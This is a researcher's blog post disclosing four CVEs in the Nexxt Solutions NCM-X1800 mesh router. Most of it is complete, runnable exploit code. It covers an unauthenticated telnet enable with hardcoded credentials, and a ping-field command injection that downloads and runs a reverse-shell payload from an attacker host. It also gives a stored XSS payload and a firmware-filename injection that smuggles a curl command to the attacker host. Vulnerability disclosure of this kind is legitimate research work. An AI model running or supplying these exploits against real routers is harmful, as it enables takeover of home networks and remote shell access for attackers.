Hacking the Nexxt Solutions NCM-X1800 router: Four CVEs and exploits

July 10, 2025

Over the past months, I discovered and exploited four vulnerabilities in the Nexxt Solutions NCM-X1800 Mesh Router. This post combines my original writeups, including technical details, PoCs, and images, for each CVE. There are many more vulnerabilities in the router, and will try to exploit them in the future.


CVE-2025-52376: Unauthenticated Remote Code Execution via Telnet Service Activation

Summary

This vulnerability allows unauthenticated attackers to remotely enable the telnet service and gain administrative shell access. It combines two security flaws: an unauthenticated endpoint that can activate telnet services, and the use of default/hardcoded credentials for telnet authentication.

The endpoint /web/um_open_telnet.cgi accepts POST requests without any authentication, allowing anonymous users to enable the telnet service. The telnet service uses hardcoded default credentials (telnetadmin:telnetadmin) and provides shell access to the underlying busybox system.

Technical Details

Affected Endpoint

POST /web/um_open_telnet.cgi

Request Parameters

mode_name=/web/um_open_telnet
nonedata=<random_value>
telnetEnable=1

Default Telnet Credentials

  • Username: telnetadmin
  • Password: telnetadmin

Proof of Concept

Step 1: Enable Telnet Service

io.png

Step 2: Connect to Telnet Service

nc -nv 192.168.1.1 23

Step 3: Login with Default Credentials

NCM-X1800 login: telnetadmin
Password: telnetadmin

Automated Exploit Script

import requests
import subprocess
import time
import random

url = 'http://192.168.1.1/web/um_open_telnet.cgi'

data = {
    'mode_name': '/web/um_open_telnet',
    'nonedata': str(random.random()),
    'telnetEnable': '1'
}

response = requests.post(url, data=data)

if "success" in response.text:
    print("[+] Telnet server is running")
    print("[+] Logging in with telnetadmin:telnetadmin")
    
    # Create expect script for automatic login
    expect_script = '''#!/usr/bin/expect -f
set timeout 10
spawn nc -nv 192.168.1.1 23
expect "login:"
send "telnetadmin\\r"
expect "Password:"
send "telnetadmin\\r"
expect "# "
interact
'''
    
    # Write expect script to temporary file
    with open('/tmp/telnet_login.exp', 'w') as f:
        f.write(expect_script)
    
    # Make script executable and run it
    subprocess.run(['chmod', '+x', '/tmp/telnet_login.exp'])
    subprocess.run(['/tmp/telnet_login.exp'])
    
else:
    print("[-] Telnet server is not running, something went wrong")

Telnet Access Screenshot

CVE-2025-52377: Authenticated Command Injection in ping and traceroute endpoint

Summary

This vulnerability allows authenticated attackers to execute arbitrary commands on the device by injecting malicious commands through the ping and traceroute functionality.

The ping functionality of the NCM-X1800 Mesh Router is not (properly) sanitizing user input. The web interface allows authenticated users (default password 12345678)& if theres another password, this could be changed unauthenticated... to perform ping and traceroute operations, but fails to properly validate the hostname/IP parameter before passing it to the underlying system command.

exploit1-2.png

Technical Details

The vulnerability exists in the ping functionality accessible via the router's web management interface. The web endpoint /web/um_ping_set.cgi processes user input from the Ping_host_text parameter without proper sanitization. This allows an attacker to inject shell commands using command separators ;, or other bypasses like $(ls) and many more.

exploit1.png

By injecting commands after a valid IP address, an attacker can:

Proof of Concept

  1. Authenticates to the router's web interface with the default password 12345678
  2. Injects commands to download a malicious payload
  3. Makes the payload executable
  4. Executes the payload to establish a reverse shell
import requests
import argparse
import sys
from time import sleep

def login(ip, password):
    login_url = f"http://{ip}:80/web/um_login_set.cgi"
    cookies = {"v": "UV1.2.7", "lan": "en", "debug": "0"}
    data = {"mode_name": "/web/um_login_set", "nonedata": "0.6217283021386222", "Login_username": '', "Login_password": password}
    res = requests.post(login_url, cookies=cookies, data=data)
    if "success_login" in res.text:
        print("Login successful")
    else:
        print("Login failed")


def exploit(ip, lhost):
    exploit_url = f"http://{ip}:80/web/um_ping_set.cgi"
    cookies = {"v": "UV1.2.7", "lan": "en", "debug": "0"}

    # Stage 1: Download the shell
    print(f"[+] Stage 1: Downloading the shell with curl from http://{lhost}/shell_arm to /tmp/x")
    stage1 = {"mode_name": "/web/um_ping_set", "nonedata": "0.27960490825529594", "Ping_interface_select": "nbif0", "Ping_ip_version_select": "0", "Ping_host_text": f"192.168.1.191;curl -o /tmp/x http://{lhost}/shell_arm", "Ping_times_text": "2"}
    stage1_res = requests.post(exploit_url, cookies=cookies, data=stage1)
    if "success" in stage1_res.text:
        print(f"[+] Stage 1: Successfully downloaded the shell")
        sleep(5)
    else:
        print(f"[-] Stage 1: Failed to download the shell")
        sys.exit(-1)

    # Stage 2: Make the shell executable
    print(f"[+] Stage 2: Making the shell executable with chmod +x /tmp/x")
    stage2 = {"mode_name": "/web/um_ping_set", "nonedata": "0.27960490825529594", "Ping_interface_select": "nbif0", "Ping_ip_version_select": "0", "Ping_host_text": "192.168.1.191;chmod +x /tmp/x;", "Ping_times_text": "2"}
    stage2_res = requests.post(exploit_url, cookies=cookies, data=stage2)
    if "success" in stage2_res.text:
        print(f"[+] Stage 2: Successfully made the shell executable")
        sleep(5)
    else:
        print(f"[-] Stage 2: Failed to make the shell executable")
        sys.exit(-1)

    # Stage 3: Execute the shell
    print(f"[+] Stage 3: Executing the shell with /tmp/x")
    stage3 = {"mode_name": "/web/um_ping_set", "nonedata": "0.27960490825529594", "Ping_interface_select": "nbif0", "Ping_ip_version_select": "0", "Ping_host_text": "192.168.1.191;/tmp/x", "Ping_times_text": "2"}
    stage3_res = requests.post(exploit_url, cookies=cookies, data=stage3)
    if "success" in stage3_res.text:
        print(f"[+] Stage 3: Successfully executed the shell, check your listener")
    else:
        print(f"[-] Stage 3: Failed to execute the shell")
        sys.exit(-1)


def main():
    print("[!] This exploit is for the NCM-X1800 mesh router")
    print("[!] Be sure to have a reverse shell named 'shell_arm' in the same directory as this script and have a listener running (nc -lvp 443)")
    print("[!] for example: msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.13.37 LPORT=443 -f elf -o shell_arm")
    parser = argparse.ArgumentParser()
    parser.add_argument("--password", type=str, required=False, default="12345678")
    parser.add_argument("--ip", type=str, required=False, default="192.168.1.1")
    parser.add_argument("--lhost", type=str, required=False, default="192.168.1.191")
    args = parser.parse_args()

    login(args.ip, args.password)
    exploit(args.ip, args.lhost)



if __name__ == "__main__":
    main()

video.gif


CVE-2025-52378: Stored Cross-Site Scripting (XSS) in Device Management Page

Summary

The NCM-X1800 router contains a stored cross-site scripting (XSS) vulnerability in the DEVICE_ALIAS parameter in /web/um_device_set_aliasname endpoint and doesn't properly sanitize HTML/JavaScript content. This allows attackers to inject malicious JavaScript code that executes in the context of administrator sessions.

Affected Pages

  • /pc/deviceManage.html?v=UV1.2.7 - Device management interface
  • Any page displaying device alias information

Proof of Concept

Step 1: Identify Target Device

Access the device management page to identify a target device MAC address:

http://192.168.1.1/pc/deviceManage.html?v=UV1.2.7

Step 2: Inject XSS Payload

Send a POST request to set a malicious device alias:

curl -X POST http://192.168.1.1/web/um_device_set_aliasname \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "mode_name=/web/um_device_set_aliasname" \
  -d "nonedata=0.2881073962984575" \
  -d "DEVICE_MAC=D2%3AC9%3A9D%3A37%3A2E%3A7A" \
  -d "DEVICE_ALIAS=<img src onerror=alert('Stored XSS')>"

Step 3: Trigger Payload Execution

Navigate back to the device management page to trigger the stored XSS:

http://192.168.1.1/pc/deviceManage.html?v=UV1.2.7

PoC Request

POST /web/um_device_set_aliasname HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

mode_name=/web/um_device_set_aliasname&nonedata=0.2881073962984575&DEVICE_MAC=D2%3AC9%3A9D%3A37%3A2E%3A7A&DEVICE_ALIAS=<img src onerror=alert('sxss')>

Stored XSS PoC

XSS Payload Injection

XSS Payload Execution


CVE-2025-52379: Authenticated Command Injection in Firmware Update Feature

While investigating the NCM-X1800 Mesh Router's web interface, I discovered that the firmware update functionality improperly handles filenames. The web interface allows authenticated users to perform firmware updates, but fails to properly validate the filename parameter before passing it to the underlying system command. Which allows us to inject shell commands, leading to RCE.

Technical Details

The vulnerability exists in the firmware update functionality accessible via the router's web management interface. The web endpoints /web/um_fileName_set.cgi and /web/um_web_upgrade.cgi process user input from the upgradeFileName parameter without proper sanitization. This allows an attacker to inject shell commands using command separators (;).

exploit2.png

In the poc, we add a curl command to make connection to our lhost. This could also be a malicious payload.

Proof of Concept

  1. Authenticates to the router's web interface with the default password 12345678
  2. Injects commands into the filename parameter to download a malicious payload
  3. Makes the payload executable
  4. Executes the payload to establish a reverse shell, or any other payload. In this case, we use a curl command to make connection to our lhost.
import requests
import argparse
import sys
from urllib.parse import urljoin
from time import sleep


def parse_args():
    parser = argparse.ArgumentParser(description='File upload exploit script')
    parser.add_argument('--target', default='http://192.168.1.1', help='Target URL (e.g., http://192.168.1.1)')
    parser.add_argument('--lhost', required=True, help='Local host IP for reverse shell')
    return parser.parse_args()

def login(session, target_url, password):
    """Login with the specified password"""
    login_url = urljoin(target_url, '/web/um_login_set.cgi')
    
    login_data = {
        'mode_name': '/web/um_login_set',
        'nonedata': '0.17641001092401565',
        'Login_username': '',
        'Login_password': password
    }
    
    print(f"[+] Attempting login to {login_url}")
    response = session.post(login_url, data=login_data)
    
    if "success" in response.text:
        print("[+] Login successful")
        return True
    else:
        print(f"[-] Login failed with status code: {response.status_code}")
        return False

def exploit(session, target_url, filename, lhost):
    """Upload file to the target"""
    set_filename_url = urljoin(target_url, '/web/um_fileName_set.cgi')
    web_upgrade_url = urljoin(target_url, '/web/um_web_upgrade.cgi')
    
    data = {
        'mode_name': '/web/um_fileName_set',
        'nonedata': '0.17641001092401565',
        'upgradeFileName': filename,
    }

    response = session.post(set_filename_url, data=data)

    file_content = "poc by ian.nl"

    files = {
        'put_file': (filename, file_content, 'application/octet-stream')
    }
    
    print(f"[+] Uploading file to {web_upgrade_url}")
    sleep(5)
    response = session.post(web_upgrade_url, files=files)
    
    if response.status_code == 200:
        print(f"[+] File uploaded successfully")
        return True
    else:
        print(f"[-] Upload failed with status code: {response.status_code}")
        print(f"Response: {response.text}")
        return False

def main():
    args = parse_args()
    
    password = "12345678" # Default password, change if needed
    
    filename = f"file.bin` curl {args.lhost}`"
    
    print(f"[+] Target: {args.target}")
    print(f"[+] LHOST: {args.lhost}")
    print(f"[+] Filename: {filename}")
    
    session = requests.Session()
    
    try:
        if not login(session, args.target, password):
            print("[-] Login failed, exiting")
            sys.exit(1)
        
        if not exploit(session, args.target, filename, args.lhost):
            print("[-] Upload failed, exiting")
            sys.exit(1)
            
        print("[+] Exploit completed successfully")
        
    except requests.exceptions.RequestException as e:
        print(f"[-] Request error: {e}")
        sys.exit(1)
    except Exception as e:
        print(f"[-] Unexpected error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()

Check my github repo for specific detailed writeups.

-CVE-2025-52376 | Mitre

-CVE-2025-52377 | Mitre

-CVE-2025-52378 | Mitre

-CVE-2025-52379 | Mitre